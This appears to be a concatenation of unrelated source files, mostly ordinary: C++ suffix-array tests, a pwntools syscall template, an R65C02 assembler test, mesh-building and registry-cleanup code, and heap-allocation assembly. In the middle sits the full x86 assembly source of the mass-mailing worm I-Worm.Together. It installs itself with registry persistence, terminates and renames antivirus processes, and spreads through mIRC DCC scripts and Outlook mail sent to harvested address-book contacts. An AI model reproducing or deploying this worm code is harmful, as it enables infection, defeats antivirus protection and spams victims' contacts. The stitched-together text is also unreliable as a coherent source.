std::vector<unsigned char> all_char_reverse(all_char.rbegin(),
all_char.rend());
{
std::vector<size_t> suffix_array =
MakeSuffixArray<Sais>(all_char_reverse, kNumChar);
for (size_t i = 0; i < kNumChar; ++i)
EXPECT_EQ(kNumChar - i - 1, suffix_array[i]);
}
}
void TestSuffixLowerBound(ustring base_str, ustring search_str) {
std::vector<size_t> suffix_array =
MakeSuffixArray<NaiveSuffixSort>(base_str, kNumChar);
auto pos = SuffixLowerBound(suffix_array, base_str.begin(),
search_str.begin(), search_str.end());
auto end = base_str.end();
if (pos != suffix_array.begin()) {
// Previous suffix is less than |search_str|.
auto suf = base_str.begin() + pos[-1];
bool is_less = std::lexicographical_compare(suf, end, search_str.begin(),
search_str.end());
EXPECT_TRUE(is_less);
}
if (pos != suffix_array.end()) {
// Current suffix is greater of equal to |search_str|.
auto suf = base_str.begin() + *pos;
bool is_less = std::lexicographical_compare(suf, end, search_str.begin(),
search_str.end());
EXPECT_FALSE(is_less);
}
}
TEST(SuffixArrayTest, LowerBound) {
auto us = MakeUnsignedString;
TestSuffixLowerBound(us(""), us(""));
TestSuffixLowerBound(us(""), us("a"));
TestSuffixLowerBound(us("b"), us(""));
TestSuffixLowerBound(us("b"), us("a"));
TestSuffixLowerBound(us("b"), us("c"));
TestSuffixLowerBound(us("b"), us("bc"));
TestSuffixLowerBound(us("aa"), us("a"));
TestSuffixLowerBound(us("aa"), us("aa"));
ustring sentence = us("the quick brown fox jumps over the lazy dog.");
// Entire string: exact and unique.
TestSuffixLowerBound(sentence, sentence);
// Empty string: exact and non-unique.
TestSuffixLowerBound(sentence, us(""));
// Exact and unique suffix matches.
TestSuffixLowerBound(sentence, us("."));
TestSuffixLowerBound(sentence, us("the lazy dog."));
// Exact and unique non-suffix matches.
TestSuffixLowerBound(sentence, us("quick"));
TestSuffixLowerBound(sentence, us("the quick"));
// Partial and unique matches.
TestSuffixLowerBound(sentence, us("fox jumps with the hosps"));
TestSuffixLowerBound(sentence, us("xyz"));
// Exact and non-unique match: take lexicographical first.
TestSuffixLowerBound(sentence, us("the"));
TestSuffixLowerBound(sentence, us(" "));
// Partial and non-unique match.
// query < "the l"... < "the q"...
TestSuffixLowerBound(sentence, us("the apple"));
// "the l"... < query < "the q"...
TestSuffixLowerBound(sentence, us("the opera"));
// "the l"... < "the q"... < query
TestSuffixLowerBound(sentence, us("the zebra"));
// Prefix match dominates suffix match (unique).
TestSuffixLowerBound(sentence, us("over quick brown fox"));
// Empty matchs.
TestSuffixLowerBound(sentence, us(","));
TestSuffixLowerBound(sentence, us("1234"));
TestSuffixLowerBound(sentence, us("THE QUICK BROWN FOX"));
TestSuffixLowerBound(sentence, us("(the"));
}
TEST(SuffixArrayTest, LowerBoundExact) {
for (const std::string& test_str : test_strs) {
ustring test_ustr = MakeUnsignedString(test_str);
std::vector<size_t> suffix_array =
MakeSuffixArray<Sais>(test_ustr, kNumChar);
for (size_t lo = 0; lo < test_str.size(); ++lo) {
for (size_t hi = lo + 1; hi <= test_str.size(); ++hi) {
ustring query(test_ustr.begin() + lo, test_ustr.begin() + hi);
ASSERT_EQ(query.size(), hi - lo);
auto pos = SuffixLowerBound(suffix_array, test_ustr.begin(),
query.begin(), query.end());
EXPECT_TRUE(
std::equal(query.begin(), query.end(), test_ustr.begin() + *pos));
}
}
}
}
} // namespace zucchini
|
comment #
Name : I-Worm.Together
Author : PetiK
Date : March 10th 2002 - March 15th 2002
#
.586p
.model flat
.code
JUMPS
api macro a
extrn a:proc
call a
endm
PROCESSENTRY32 STRUCT
dwSize DWORD ?
cntUsage DWORD ?
th32ProcessID DWORD ?
th32DefaultHeapID DWORD ?
th32ModuleID DWORD ?
cntThreads DWORD ?
th32ParentProcessID DWORD ?
pcPriClassBase DWORD ?
dwFlags DWORD ?
szExeFile db 260 dup(?)
PROCESSENTRY32 ENDS
include Useful.inc
start_worm: call hide_worm
twin_worm:
push 50
mov esi,offset orig_worm
push esi
push 0
api GetModuleFileNameA ; esi = name of file
push 50
push offset verif_worm
api GetSystemDirectoryA
@pushsz "\EBASE64.EXE"
push offset verif_worm
api lstrcat
mov edi,offset copy_worm
push edi
push 50
push edi
api GetSystemDirectoryA
add edi,eax
mov eax,"aBe\"
stosd
mov eax,"46es"
stosd
mov eax,"exe."
stosd
pop edi ; edi = %system%\eBase64.exe
push offset orig_worm
push offset verif_worm
api lstrcmp
test eax,eax
jz continue_worm
push 0
push edi
push esi
api CopyFileA ; copy file
push 20
push edi
push 1
@pushsz "Encode Base64"
@pushsz "Software\Microsoft\Windows\CurrentVersion\Run"
push 80000002h
api SHSetValueA ; regedit
jmp end_worm
continue_worm:
fuck_antivirus:
@pushsz "OIFIL400.DLL"
api LoadLibraryA
test eax,eax
jz end_fuck_antivirus
push 0
push 2
api CreateToolhelp32Snapshot
mov lSnapshot, eax
inc eax
jz end_fuck_antivirus
lea eax,uProcess
mov [eax.dwSize], SIZE PROCESSENTRY32
lea eax,uProcess
push eax
push lSnapshot
api Process32First
checkfile:
test eax, eax
jz InfExpRetCl
push ecx
mov eax,ProcessID
push offset uProcess
cmp eax,[uProcess.th32ProcessID]
je NextFile
lea ebx,[uProcess.szExeFile]
verif macro verifname,empty
local name
ifnb <empty>
%out too much arguments in macro 'nxt_instr'
.err
endif
call name
db verifname,0
name:
push ebx
api lstrstr
test eax,eax
endm
verif "ARG" ; Norton
jnz term
verif "AVP32.EXE" ; AVP
jnz term
verif "AVPCC.EXE" ; AVP
jnz term
verif "AVPM.EXE" ; AVP
jnz term
verif "WFINDV32.EXE"
jnz term
verif "F-AGNT95.EXE" ; F-SECURE
jnz term
verif "NAVAPW32.EXE" ; Norton
jnz term
verif "NAVW32.EXE" ; Norton
jnz term
verif "NMAIN.EXE"
jnz term
verif "PAVSHED.EXE" ; PandaSoftware
jnz term
verif "vshwin32.exe" ; McAfee
jnz term
verif "PETIKSHOW.EXE" ; McAfee
jnz term
@pushsz "ZONEALARM.EXE"
push ebx
api lstrstr
test eax,eax
jz NextFile
term: push [uProcess.th32ProcessID]
push 1
push 001F0FFFh
api OpenProcess
test eax,eax
jz NextFile
push 0
push eax
api TerminateProcess
push ebx
push offset new_name
api lstrcpy
mov esi,offset new_name
push esi
api lstrlen
add esi,eax
sub esi,4
mov [esi],"ktp."
lodsd
; mov [esi],"kmz."
; lodsd
push 0
push offset new_name
push ebx
api CopyFileA
push ebx
api DeleteFileA
NextFile:
push offset uProcess
push lSnapshot
api Process32Next
jmp checkfile
InfExpRetCl:
push lSnapshot
api CloseHandle
end_fuck_antivirus:
call Spread_Mirc
call Spread_Worm
e_s_w:
end_worm:
push 0
api ExitProcess
hide_worm Proc
pushad
@pushsz "KERNEL32.DLL"
api GetModuleHandleA
xchg eax,ecx
jecxz end_hide_worm
@pushsz "RegisterServiceProcess" ; Registered as Service Process
push ecx
api GetProcAddress
xchg eax,ecx
jecxz end_hide_worm
push 1
push 0
call ecx
end_hide_worm:
popad
ret
hide_worm EndP
Spread_Mirc Proc
push offset copy_worm
push offset mirc_exe
api lstrcpy
call @mirc
db "C:\mirc\script.ini",0
db "C:\mirc32\script.ini",0 ; spread with mIRC. Thanx to Microsoft.
db "C:\progra~1\mirc\script.ini",0
db "C:\progra~1\mirc32\script.ini",0
@mirc:
pop esi
push 4
pop ecx
mirc_loop:
push ecx
push 0
push 80h
push 2
push 0
push 1
push 40000000h
push esi
api CreateFileA
mov ebp,eax
push 0
push offset byte_write
@tmp_mirc:
push e_mirc - s_mirc
push offset s_mirc
push ebp
api WriteFile
push ebp
api CloseHandle
@endsz
pop ecx
loop mirc_loop
end_spread_mirc:
ret
Spread_Mirc EndP
Spread_Worm Proc
pushad
push 50
push offset vbs_worm
api GetSystemDirectoryA
@pushsz "\eBase.vbs"
push offset vbs_worm
api lstrcat
push 0
push 20h
push 2
push 0
push 1
push 40000000h
push offset vbs_worm
api CreateFileA
mov ebp,eax
push 0
push offset byte_write
push e_vbs - s_vbs
push offset s_vbs
push ebp
api WriteFile
push ebp
api CloseHandle
push 1
push 0
push 0
push offset vbs_worm
@pushsz "open"
push 0
api ShellExecuteA
verif_inet:
push 0
push offset inet
api InternetGetConnectedState
dec eax
jnz verif_inet
push 50
push offset t_ini
api GetSystemDirectoryA
@pushsz "\together.ini"
push offset t_ini
api lstrcat
push 00h
push 80h
push 03h
push 00h
push 01h
push 80000000h
push offset t_ini
api CreateFileA
inc eax
je end_spread_worm
dec eax
xchg eax,ebx
xor eax,eax
push eax
push eax
push eax
push 2
push eax
push ebx
api CreateFileMappingA
test eax,eax
je end_s1
xchg eax,ebp
xor eax,eax
push eax
push eax
push eax
push 4
push ebp
api MapViewOfFile
test eax,eax
je end_s2
xchg eax,esi
push 0
push ebx
api GetFileSize
cmp eax,4
jbe end_s3
scan_mail:
xor edx,edx
mov edi,offset mail_addr
push edi
p_c: lodsb
cmp al," "
je car_s
cmp al,";"
je end_m
cmp al,"#"
je f_mail
cmp al,'@'
jne not_a
inc edx
not_a: stosb
jmp p_c
car_s: inc esi
jmp p_c
end_m: xor al,al
stosb
pop edi
test edx,edx
je scan_mail
call send_mail
jmp scan_mail
f_mail:
end_s3: push esi
api UnmapViewOfFile
end_s2: push ebp
api CloseHandle
end_s1: push ebx
api CloseHandle
end_spread_worm:
popad
jmp e_s_w
Spread_Worm EndP
send_mail:
xor eax,eax
push eax
push eax
push offset Message
push eax
push [sess]
api MAPISendMail
ret
.data
; === Copy Worm ===
orig_worm db 50 dup (0)
copy_worm db 50 dup (0)
verif_worm db 50 dup (0)
sysTime db 16 dup(0)
; === Fuck AntiVirus ===
uProcess PROCESSENTRY32 <?>
ProcessID dd ?
lSnapshot dd ?
new_name db 100 dup (?)
; === Spread With mIrc ===
s_mirc: db "[script]",CRLF
db ";Don't edit this file.",CRLF,CRLF
db "n0=on 1:JOIN:{",CRLF
db "n1= /if ( $nick == $me ) { halt }",CRLF
db "n2= /.dcc send $nick "
mirc_exe db 50 dup (?)
db CRLF,"n3=}",0
e_mirc:
byte_write dd ?
; === Spread with Outlook ===
vbs_worm db 50 dup (0)
t_ini db 50 dup (0)
mail_addr db 128 dup (?)
inet dd 0
sess dd 0
subject db "Re: Answer",0
body db "Here for you...",0
filename db "funny_game.exe",0
Message dd ?
dd offset subject
dd offset body
dd ?
dd ?
dd ?
dd 2
dd offset MsgFrom
dd 1
dd offset MsgTo
dd 1
dd offset Attach
MsgFrom dd ?
dd ?
dd ?
dd ?
dd ?
dd ?
MsgTo dd ?
dd 1
dd offset mail_addr
dd offset mail_addr
dd ?
dd ?
Attach dd ?
dd ?
dd ?
dd offset orig_worm
dd offset filename
dd ?
s_vbs:
db 'On Error Resume Next',CRLF
db 'Set fs=CreateObject("Scripting.FileSystemObject")',CRLF
db 'Set sys=fs.GetSpecialFolder(1)',CRLF
db 'Set c=fs.CreateTextFile(sys&"\together.ini")',CRLF
db 'c.Close',CRLF
db 'Set ou=CreateObject("Outlook.Application")',CRLF
db 'Set map=ou.GetNameSpace("MAPI")',CRLF
db 'adr=""',CRLF
db 'For Each mel in map.AddressLists',CRLF
db 'If mel.AddressEntries.Count <> 0 Then',CRLF
db 'For O=1 To mel.AddressEntries.Count',CRLF
db 'adr=adr &";"& mel.AddressEntries(O).Address',CRLF
db 'Next',CRLF
db 'End If',CRLF
db 'Next',CRLF
db 'adr=adr &";#"',CRLF,CRLF
db 'Set c=fs.OpenTextFile(sys&"\together.ini",2)',CRLF
db 'c.WriteLine adr',CRLF
db 'c.Close',CRLF
e_vbs:
signature db "I-Worm.Together "
author db "Coded by PetiK - 2002",00h
end start_worm
end |
#pragma once
bool is_perfect_square(unsigned n);
|
; A267780: Decimal representation of the n-th iteration of the "Rule 211" elementary cellular automaton starting with a single ON (black) cell.
; 1,5,25,125,505,2045,8185,32765,131065,524285,2097145,8388605,33554425,134217725,536870905,2147483645,8589934585,34359738365,137438953465,549755813885,2199023255545,8796093022205,35184372088825,140737488355325,562949953421305,2251799813685245,9007199254740985
mov $1,4
pow $1,$0
add $0,1
mod $0,2
mul $1,2
sub $1,4
lpb $0,1
sub $0,1
trn $1,4
lpe
add $1,1
|
<%
import collections
import pwnlib.abi
import pwnlib.constants
import pwnlib.shellcraft
%>
<%docstring>timer_create(clock_id, evp, timerid) -> str
Invokes the syscall timer_create.
See 'man 2 timer_create' for more information.
Arguments:
clock_id(clockid_t): clock_id
evp(sigevent*): evp
timerid(timer_t*): timerid
Returns:
int
</%docstring>
<%page args="clock_id=0, evp=0, timerid=0"/>
<%
abi = pwnlib.abi.ABI.syscall()
stack = abi.stack
regs = abi.register_arguments[1:]
allregs = pwnlib.shellcraft.registers.current()
can_pushstr = []
can_pushstr_array = []
argument_names = ['clock_id', 'evp', 'timerid']
argument_values = [clock_id, evp, timerid]
# Load all of the arguments into their destination registers / stack slots.
register_arguments = dict()
stack_arguments = collections.OrderedDict()
string_arguments = dict()
dict_arguments = dict()
array_arguments = dict()
syscall_repr = []
for name, arg in zip(argument_names, argument_values):
if arg is not None:
syscall_repr.append('%s=%r' % (name, arg))
# If the argument itself (input) is a register...
if arg in allregs:
index = argument_names.index(name)
if index < len(regs):
target = regs[index]
register_arguments[target] = arg
elif arg is not None:
stack_arguments[index] = arg
# The argument is not a register. It is a string value, and we
# are expecting a string value
elif name in can_pushstr and isinstance(arg, str):
string_arguments[name] = arg
# The argument is not a register. It is a dictionary, and we are
# expecting K:V paris.
elif name in can_pushstr_array and isinstance(arg, dict):
array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]
# The arguent is not a register. It is a list, and we are expecting
# a list of arguments.
elif name in can_pushstr_array and isinstance(arg, (list, tuple)):
array_arguments[name] = arg
# The argument is not a register, string, dict, or list.
# It could be a constant string ('O_RDONLY') for an integer argument,
# an actual integer value, or a constant.
else:
index = argument_names.index(name)
if index < len(regs):
target = regs[index]
register_arguments[target] = arg
elif arg is not None:
stack_arguments[target] = arg
# Some syscalls have different names on various architectures.
# Determine which syscall number to use for the current architecture.
for syscall in ['SYS_timer_create']:
if hasattr(pwnlib.constants, syscall):
break
else:
raise Exception("Could not locate any syscalls: %r" % syscalls)
%>
/* timer_create(${', '.join(syscall_repr)}) */
%for name, arg in string_arguments.items():
${pwnlib.shellcraft.pushstr(arg, append_null=('\x00' not in arg))}
${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}
%endfor
%for name, arg in array_arguments.items():
${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}
%endfor
%for name, arg in stack_arguments.items():
${pwnlib.shellcraft.push(arg)}
%endfor
${pwnlib.shellcraft.setregs(register_arguments)}
${pwnlib.shellcraft.syscall(syscall)} |
global long_mode_start
section .text
bits 64 ; yay we're in 64-bit mode now, that was a lot of work :)
long_mode_start:
extern kernel_main
call kernel_main
.os_returned:
mov rax, 0x4f724f204f534f4f
mov [0xb8000], rax
mov rax, 0x4f724f754f744f65
mov [0xb8008], rax
mov rax, 0x4f214f644f654f6e
mov [0xb8010], rax
hlt
|
; ===========================================================================
; uz80as, an assembler for the Zilog Z80 and several other microprocessors.
;
; Rockwell R65C02.
; ===========================================================================
#define equ .equ
#define end .end
zp: equ $77
a16: equ $1234
n: equ 56h
; 0x
BRK
ORA (zp,X)
; 2
; 3
TSB zp ; *
ORA zp
ASL zp
RMB0 zp ; *
PHP
ORA #n
ASL A
; B
TSB a16 ; *
ORA a16
ASL a16
BBR0 zp,* ; *
; 1x
BPL *
ORA (zp),Y
ORA (zp) ; *
; 3
TRB zp ; *
ORA zp,X
ASL zp,X
RMB1 zp ; *
CLC
ORA a16,Y
INC A ; *
; B
TRB a16 ; *
ORA a16,X
ASL a16,X
BBR1 zp,* ; *
; 2x
JSR a16
AND (zp,X)
; 2
; 3
BIT zp
AND zp
ROL zp
RMB2 zp ; *
PLP
AND #n
ROL A
; B
BIT a16
AND a16
ROL a16
BBR2 zp,* ; *
; 3x
BMI *
AND (zp),Y
AND (zp) ; *
; 3
BIT zp,X ; *
AND zp,X
ROL zp,X
RMB3 zp ; *
SEC
AND a16,Y
DEC A ; *
; B
BIT a16,X ; *
AND a16,X
ROL a16,X
BBR3 zp,* ; *
; 4x
RTI
EOR (zp,X)
; 2
; 3
; 4
EOR zp
LSR zp
RMB4 zp ; *
PHA
EOR #n
LSR A
; B
JMP a16
EOR a16
LSR a16
BBR4 zp,* ; *
; 5x
BVC *
EOR (zp),Y
EOR (zp) ; *
; 3
; 4
EOR zp,X
LSR zp,X
RMB5 zp ; *
CLI
EOR a16,Y
PHY ; *
; B
; C
EOR a16,X
LSR a16,X
BBR5 zp,* ; *
; 6x
RTS
ADC (zp,X)
; 2
; 3
STZ zp ; *
ADC zp
ROR zp
RMB6 zp ; *
PLA
ADC #n
ROR A
; B
JMP (a16)
ADC a16
ROR a16
BBR6 zp,* ; *
; 7x
BVS *
ADC (zp),Y
ADC (zp) ; *
; 3
STZ zp,X ; *
ADC zp,X
ROR zp,X
RMB7 zp ; *
SEI
ADC a16,Y
PLY ; *
; B
JMP (a16,X) ; *
ADC a16,X
ROR a16,X
BBR7 zp,* ; *
; 8x
BRA * ; *
STA (zp,X)
; 2
; 3
STY zp
STA zp
STX zp
SMB0 zp ; *
DEY
BIT #n ; *
TXA
; B
STY a16
STA a16
STX a16
BBS0 zp,* ; *
; 9x
BCC *
STA (zp),Y
STA (zp) ; *
; 3
STY zp,X
STA zp,X
STX zp,Y
SMB1 zp ; *
TYA
STA a16,Y
TXS
; B
STZ a16 ; *
STA a16,X
STZ a16,X ; *
BBS1 zp,* ; *
; Ax
LDY #n
LDA (zp,X)
LDX #n
; 3
LDY zp
LDA zp
LDX zp
SMB2 zp ; *
TAY
LDA #n
TAX
; B
LDY a16
LDA a16
LDX a16
BBS2 zp,* ; *
; Bx
BCS *
LDA (zp),Y
LDA (zp) ; *
; 3
LDY zp,X
LDA zp,X
LDX zp,Y
SMB3 zp ; *
CLV
LDA a16,Y
TSX
; B
LDY a16,X
LDA a16,X
LDX a16,Y
BBS3 zp,* ; *
; Cx
CPY #n
CMP (zp,X)
; 2
; 3
CPY zp
CMP zp
DEC zp
SMB4 zp ; *
INY
CMP #n
DEX
; B
CPY a16
CMP a16
DEC a16
BBS4 zp,* ; *
; Dx
BNE *
CMP (zp),Y
CMP (zp) ; *
; 3
; 4
CMP zp,X
DEC zp,X
SMB5 zp ; *
CLD
CMP a16,Y
PHX ; *
; B
; C
CMP a16,X
DEC a16,X
BBS5 zp,* ; *
; Ex
CPX #n
SBC (zp,X)
; 2
; 3
CPX zp
SBC zp
INC zp
SMB6 zp ; *
INX
SBC #n
NOP
; B
CPX a16
SBC a16
INC a16
BBS6 zp,* ; *
; Fx
BEQ *
SBC (zp),Y
SBC (zp) ; *
; 3
; 4
SBC zp,X
INC zp,X
SMB7 zp ; *
SED
SBC a16,Y
PLX ; *
; B
; C
SBC a16,X
INC a16,X
BBS7 zp,* ; *
; Forcing 16 bits
; 0x
; 1
; 2
; 2
; 3
; 4
; 5
; 6
; 7
; 8
; 9
; A
; B
TSB >zp ; *
ORA >zp
ASL >zp
; F
; 1x
; 0
; 1
; 2
; 3
; 4
; 5
; 6
; 7
; 8
; 9
; A
; B
TRB >zp ; *
ORA >zp,X
ASL >zp,X
; F
; 2x
; 0
; 1
; 2
; 3
; 4
; 5
; 6
; 7
; 8
; 9
; A
; B
BIT >zp
AND >zp
ROL >zp
; F
; 3x
; 0
; 1
; 2
; 3
; 4
; 5
; 6
; 7
; 8
; 9
; A
; B
BIT >zp,X ; *
AND >zp,X
ROL >zp,X
; F
; 4x
; 1
; 2
; 2
; 3
; 4
; 5
; 6
; 7
; 8
; 9
; A
; B
; C
EOR >zp
LSR >zp
; F
; 5x
; 1
; 2
; 2
; 3
; 4
; 5
; 6
; 7
; 8
; 9
; A
; B
; C
EOR >zp,X
LSR >zp,X
; F
; 6x
; 1
; 2
; 2
; 3
; 4
; 5
; 6
; 7
; 8
; 9
; A
; B
; C
ADC >zp
ROR >zp
; F
; 7x
; 0
; 1
; 2
; 3
; 4
; 5
; 6
; 7
; 8
; 9
; A
; B
; C
ADC >zp,X
ROR >zp,X
; F
; 8x
; 0
; 1
; 2
; 3
; 4
; 5
; 6
; 7
; 8
; 9
; A
; B
STY >zp
STA >zp
STX >zp
; F
; 9x
; 0
; 1
; 2
; 3
; 4
; 5
; 6
; 7
; 8
; 9
; A
; B
STZ >zp ; *
STA >zp,X
STZ >zp,X ; *
; F
; Ax
; 0
; 1
; 2
; 3
; 4
; 5
; 6
; 7
; 8
; 9
; A
; B
LDY >zp
LDA >zp
LDX >zp
; F
; Bx
; 0
; 1
; 2
; 3
; 4
; 5
; 6
; 7
; 8
; 9
; A
; B
LDY >zp,X
LDA >zp,X
LDX >zp,Y
; F
; Cx
; 0
; 1
; 2
; 3
; 4
; 5
; 6
; 7
; 8
; 9
; A
; B
CPY >zp
CMP >zp
DEC >zp
; F
; Dx
; 0
; 1
; 2
; 3
; 4
; 5
; 6
; 7
; 8
; 9
; A
; B
; C
CMP >zp,X
DEC >zp,X
; F
; Ex
; 0
; 1
; 2
; 3
; 4
; 5
; 6
; 7
; 8
; 9
; A
; B
CPX >zp
SBC >zp
INC >zp
; F
; Fx
; 0
; 1
; 2
; 3
; 4
; 5
; 6
; 7
; 8
; 9
; A
; B
; C
SBC >zp,X
INC >zp,X
; F
end
|
bipush 20
istore j
bipush 5
istore k
bipush 0
istore q
loop iload j
iload k
isub
istore aux
iload q
bipush 1
iadd
istore q
ifeq l1
iload aux
istore j
iload k
isub
goto loop
l1 iload q
|
#include "builders/generators/CylinderGenerator.hpp"
#include "builders/generators/WallGenerator.hpp"
#include "builders/misc/BarrierBuilder.hpp"
#include "entities/Node.hpp"
#include "entities/Way.hpp"
#include "entities/Area.hpp"
#include "entities/Relation.hpp"
#include "utils/GeometryUtils.hpp"
#include "utils/MeshUtils.hpp"
using namespace utymap;
using namespace utymap::builders;
using namespace utymap::entities;
using namespace utymap::mapcss;
using namespace utymap::math;
using namespace utymap::utils;
namespace {
const std::string MeshNamePrefix = "barrier:";
const std::string PillarType = "pillar";
}
void BarrierBuilder::visitNode(const Node &node) {
std::vector<GeoCoordinate> geometry = {node.coordinate};
build(node, geometry.begin(), geometry.end());
}
void BarrierBuilder::visitWay(const Way &way) {
build(way, way.coordinates.begin(), way.coordinates.end());
}
void BarrierBuilder::visitArea(const Area &area) {
build(area, area.coordinates.begin(), area.coordinates.end());
}
void BarrierBuilder::visitRelation(const Relation &relation) {
bool isSet = setStyle(relation);
for (const auto &element : relation.elements)
element->accept(*this);
resetStyle(isSet);
}
bool BarrierBuilder::setStyle(const utymap::entities::Element &element) {
if (style_==nullptr) {
style_ =
utymap::utils::make_unique<Style>(context_.styleProvider.forElement(element, context_.quadKey.levelOfDetail));
return true;
}
return false;
}
void BarrierBuilder::resetStyle(bool isSet) {
if (isSet)
style_.reset();
}
template<typename T>
void BarrierBuilder::build(const T &element, Iterator begin, Iterator end) {
bool isSet = setStyle(element);
auto mesh = context_.meshPool.getSmall(utymap::utils::getMeshName(MeshNamePrefix, element));
MeshContext meshContext = MeshContext::create(mesh, *style_, context_.styleProvider, element.id);
if (style_->getString(StyleConsts::TypeKey())==PillarType)
buildPillar(element, begin, end, meshContext);
else
buildWall(element, begin, end, meshContext);
resetStyle(isSet);
context_.meshPool.release(std::move(mesh));
}
template<typename T>
void BarrierBuilder::buildWall(const T &element, Iterator begin, Iterator end, MeshContext &meshContext) {
double width = meshContext.style.getValue(StyleConsts::WidthKey(), context_.boundingBox);
WallGenerator generator(context_, meshContext);
generator
.setGeometry(begin, end)
.setWidth(width)
.setHeight(meshContext.style.getValue(StyleConsts::HeightKey()))
.setLength(meshContext.style.getValue(StyleConsts::LengthKey()))
.setGap(meshContext.style.getValue(StyleConsts::GapKey()))
.generate();
context_.meshCallback(meshContext.mesh);
}
template<typename T>
void BarrierBuilder::buildPillar(const T &element, Iterator begin, Iterator end, MeshContext &meshContext) {
auto size = std::distance(begin, end);
if (size==0)
return;
auto radius = utymap::utils::getSize(context_.boundingBox, meshContext.style, StyleConsts::RadiusKey());
auto height = meshContext.style.getValue(StyleConsts::HeightKey());
Mesh mesh(utymap::utils::getMeshName(MeshNamePrefix, element));
CylinderGenerator generator(context_, meshContext);
generator
.setCenter(Vector3(begin->longitude,
context_.eleProvider.getElevation(context_.quadKey, *begin),
begin->latitude))
.setSize(Vector3(radius.x, height, radius.z))
.setMaxSegmentHeight(5)
.setRadialSegments(7)
.setVertexNoiseFreq(0)
.generate();
context_.meshBuilder.writeTextureMappingInfo(meshContext.mesh, meshContext.appearanceOptions);
// NOTE single coordinate, no need to replicate
if (size==1) {
context_.meshCallback(meshContext.mesh);
return;
}
double treeStepInMeters = meshContext.style.getValue(StyleConsts::StepKey());
for (std::size_t i = 0; i < static_cast<std::size_t>(size - 1); ++i) {
const auto p0 = (begin + i);
const auto p1 = (begin + i + 1);
utymap::utils::copyMeshAlong(context_.quadKey, *begin, *p0, *p1,
meshContext.mesh, mesh, treeStepInMeters, context_.eleProvider);
}
context_.meshCallback(mesh);
}
|
/*
* $Header: /Book/reboot.cpp 12 6-09-01 12:52 Oslph312 $
*/
#include "precomp.h"
#include "reboot.h"
#include "utils.h"
#include "formatMessage.h"
#include "startInstance.h"
#include "fileUtils.h"
#include "winUtils.h"
#include "MRU.h"
#include "Registry.h"
#include "Document.h"
#include "Exception.h"
typedef std::map< int, String > StringMap;
inline bool enumKeyNames( DWORD dwIndex, String *pstrKey ) {
return Registry::enumKeyNames(
HKEY_CURRENT_USER, _T( "Files" ), dwIndex, pstrKey );
}
/**
* Starts a TextEdit instance for any files marked as Running.
*/
PRIVATE void startInstances( void ) {
const MRU mru;
const int nFiles = mru.getCount();
for ( int iFile = 0; iFile < nFiles; ++iFile ) {
const String strFile = mru.getFile( iFile + ID_MRU_1 );
const LPCTSTR pszFile = strFile.c_str();
const String strEntry = Document::createRegistryPath( strFile );
const String strFileKey = formatMessage(
_T( "Files\\%1" ), strEntry.c_str() );
const bool bRestart = 0 != Registry::getInt(
HKEY_CURRENT_USER, strFileKey.c_str(), _T( "Running" ), 0 );
if ( bRestart ) {
if ( fileExists( pszFile ) ) {
startInstance( formatMessage( _T( "\"%1\"" ), pszFile ) );
}
// No reasonable way to handle a startInstance failure;
// we're running silently now, and would prefer not to
// bother the user over a minor matter such as not
// being able to restart TextEdit.
}
}
}
// TODO: This interferes with file opening in case -last has
// a device not ready or something.
// Discussion: Starting new instances is a crude way of
// doing multithreading.
PRIVATE void checkExistence( void ) {
MRU mru;
int nFile = 0;
while ( nFile < mru.getCount() ) {
const String strFile = mru.getFile( nFile + ID_MRU_1 );
if ( fileExists( strFile.c_str() ) ) {
++nFile;
} else {
mru.removeFile( strFile );
}
}
}
PRIVATE void deleteUnusedEntries( void ) {
const MRU mru;
const int nFiles = mru.getCount();
// Delete entries in the Files registry subtree
// if they're missing from the MRU list:
int nFilesToDelete = 0;
StringMap mapOfFilesToDelete;
String strFileEntry;
for ( DWORD dwIndex = 0;
enumKeyNames( dwIndex, &strFileEntry );
++dwIndex )
{
bool bExistsInMRU = false;
for ( int iFile = 0; iFile < nFiles; ++iFile ) {
const String strFile = mru.getFile( iFile + ID_MRU_1 );
const String strMruEntry =
Document::createRegistryPath( strFile );
if ( 0 ==
_tcsicmp( strFileEntry.c_str(), strMruEntry.c_str() ) )
{
bExistsInMRU = true;
break; //*** LOOP EXIT POINT
}
}
if ( !bExistsInMRU ) {
mapOfFilesToDelete[ nFilesToDelete++ ] = strFileEntry;
}
}
for ( int iFile = 0; iFile < nFilesToDelete; ++iFile ) {
StringMap::iterator iter = mapOfFilesToDelete.find( iFile );
assert( mapOfFilesToDelete.end() != iter );
if ( mapOfFilesToDelete.end() != iter ) {
const String strKey = formatMessage(
_T( "Files\\%1" ), iter->second.c_str() );
Registry::deleteEntry( HKEY_CURRENT_USER, strKey.c_str() );
}
}
mapOfFilesToDelete.clear();
}
/**
* Cleans nonexistent files from the MRU list and cleans the
* registry of files no longer in the MRU list.
*/
void clean( void ) {
checkExistence();
deleteUnusedEntries();
}
/**
* Starts a TextEdit instance for any files marked as Running,
* then cleans up.
*/
void reboot( void ) {
startInstances();
clean();
}
// end of file
|
; ===============================================================
; Dec 2013
; ===============================================================
;
; void *heap_alloc_aligned_unlocked(void *heap, size_t alignment, size_t size)
;
; Allocate size bytes from the heap at an address that is an
; integer multiple of alignment.
;
; Returns 0 with carry set on failure.
;
; If alignment is not an exact power of 2, it will be rounded up
; to the next power of 2.
;
; Returns 0 if size == 0 without indicating error.
;
; ===============================================================
SECTION code_alloc_malloc
PUBLIC asm_heap_alloc_aligned_unlocked
EXTERN __heap_place_block, __heap_allocate_block, l_andc_hl_bc
EXTERN l_power_2_bc, asm_heap_alloc_unlocked, error_enomem_zc, error_einval_zc
asm_heap_alloc_aligned_unlocked:
; Attempt to allocate memory at an address that is aligned to a power of 2
; without locking
;
; enter : de = void *heap
; hl = size
; bc = alignment (promoted to next higher power of two if necessary)
;
; exit : success
;
; hl = void *p_aligned could be zero if size == 0
; carry reset
;
; fail on alignment == 2^16
;
; hl = 0
; carry set, errno = EINVAL
;
; fail on memory not found
;
; hl = 0
; carry set, errno = ENOMEM
;
; uses : af, bc, de, hl
ld a,h
or l
ret z ; if size == 0
call l_power_2_bc ; bc = power of two >= bc
jp c, error_einval_zc ; if alignment == 2^16
dec bc ; bc = alignment - 1
ld a,b
or c
jp z, asm_heap_alloc_unlocked ; if no alignment (alignment == 1)
; de = void *heap
; hl = size
; bc = alignment - 1
push bc ; save alignment - 1
ld bc,6 ; sizeof(heap header)
add hl,bc
jp c, error_enomem_zc
ex de,hl ; de = gross request size
